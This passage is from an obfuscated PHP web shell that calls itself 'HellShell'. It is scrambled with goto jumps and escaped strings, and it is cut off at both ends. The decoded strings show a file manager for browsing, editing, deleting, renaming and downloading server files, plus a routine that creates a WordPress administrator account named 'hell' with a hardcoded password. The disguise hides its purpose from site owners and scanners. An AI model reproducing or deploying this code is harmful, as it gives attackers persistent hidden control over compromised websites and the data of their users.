"\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\